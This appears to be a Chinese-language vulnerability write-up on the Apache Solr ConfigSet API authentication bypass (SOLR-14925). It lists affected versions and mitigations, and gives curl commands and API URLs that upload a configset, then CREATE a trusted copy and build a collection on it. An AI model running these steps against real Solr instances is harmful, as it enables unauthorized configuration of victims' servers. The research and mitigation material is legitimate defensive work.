影响版本
- 6.6.0 to 6.6.5
- 7.0.0 to 7.7.3
- 8.0.0 to 8.6.2
漏洞描述
本来Solr禁止了一些通过ConfigSet这个API上传进行配置的功能,因为这种危险操作容易造成RCE。但是可以通过结合UPLOAD/CREATE这两个ACTION来绕过这一限制。
原文
Solr prevents some features considered dangerous (which could be used for remote code execution) to be configured in a ConfigSet that’s uploaded via API without authentication/authorization. The checks in place to prevent such features can be circumvented by using a combination of UPLOAD/CREATE actions.
漏洞利用条件
- Solr的API未设置认证
- SolrCloud模式启动(因为Standalone模式不具备Configset API的功能)
Upload a Configset
上传功能默认开启,除非指定JVM参数:
-Dconfigset.upload.enabled=false
漏洞描述/原理:
正常的通过UPLOAD传上去的configset,是不能用于创建collection的: 如果尝试创建,会出现这个错误
The configset for this collection was uploaded without any authentication in place, and use of <lib> is not available for collections with untrusted configsets. To use this component, re-upload the configset after enabling authentication and authorization.
而当我们先UPLOAD,然后基于这个configset,去CREATE一个collection,就可以绕过这个限制:
达到的效果是可以自定义configset,然后基于此创建恶意collection。目前没想到如何利用好这个自定义的配置实现RCE。只知道用之前的模板注入,不过那个有版本限制吧?
步骤:
1、【UPLOAD】准备恶意配置,打包,上传
# 先将配置打包成zip
(cd solr/server/solr/configsets/sample_techproducts_configs/conf && zip -r - *) > db-configset.zip
# 再通过上传API将zip上传
curl -X POST --header "Content-Type:application/octet-stream" --data-binary @db-configset.zip "http://localhost:8983/solr/admin/configs?action=UPLOAD&name=db-configset"
2、【CREATE】根据UPLOAD的配置,创建一个新的配置,绕过不能通过直接UPLOAD创建collection的限制
/solr/admin/configs?action=CREATE&name=db-configset1&baseConfigSet=db-configset&configSetProp.immutable=false&wt=xml&omitHeader=true
3、【LIST】查看Configsets的配置,确保已生成了新的configset
/solr/admin/configs?action=LIST&omitHeader=true
4、根据CREATE得到的configset创建恶意collection
/solr/admin/collections?action=CREATE&numShards=1&name=coll_test1&collection.configName=db-configset1
5、利用之前的漏洞进行利用?
修复建议/缓解措施
- 禁用UPLOAD命令,即
-Dconfigset.upload.enabled=false
; - 进行认证
- 升级到8.6.3及以上
- 若无法升级,尝试打这个补丁:SOLR-14663
- 设置防火墙规则进行访问控制,设置Solr API访问的白名单
参考
- https://seclists.org/oss-sec/2020/q4/47
- ConfigSets CREATE does not set trusted flag
- https://issues.apache.org/jira/browse/SOLR-14925
Note
参考:
http://mail-archives.apache.org/mod_mbox/lucene-solr-user/201807.mbox/%3CCAPCX2-+jojXrWvPSPiBR_xwphdpk+yPM2HYLojX2rqRTKMGm9g@mail.gmail.com%3E
Solr可以运行在两种模式:“Cloud” mode or “Standalone” mode。
SolrCloud mode下,可以创建collections,而在Standalone mode下,只能创建core。
在Standalone mode下会出现400,
关闭,重新启动SolrCloud mode:
这次成功了:
附录
上传Configsets
# 先将配置打包成zip
(cd solr/server/solr/configsets/sample_techproducts_configs/conf && zip -r - *) > myconfigset.zip
# 再通过上传API将zip上传
curl -X POST --header "Content-Type:application/octet-stream" --data-binary @myconfigset.zip "http://localhost:8983/solr/admin/configs?action=UPLOAD&name=myConfigSet"
创建Configsets
基于之前上传的Configsets创建一个新的configset
- name:这个新的的configset的名字
- baseConfigSet:基于哪个上传的Configsets
- configSetProp.immutable:将这个设置为false
http://cqq.com:8983/solr/admin/configs?action=CREATE&name=myConfigSet1&baseConfigSet=myConfigSet&configSetProp.immutable=false&wt=xml&omitHeader=true
查看Configsets:
http://cqq.com:8983/solr/admin/configs?action=LIST&omitHeader=true
上传、以及配置后的Configsets并不在文件系统中,而是在Zookeeper中。
The Configsets API enables you to upload new configsets to ZooKeeper, create, and delete configsets when Solr is running SolrCloud mode.
This API provides a way to upload configuration files to ZooKeeper and share the same set of configuration files between two or more collections.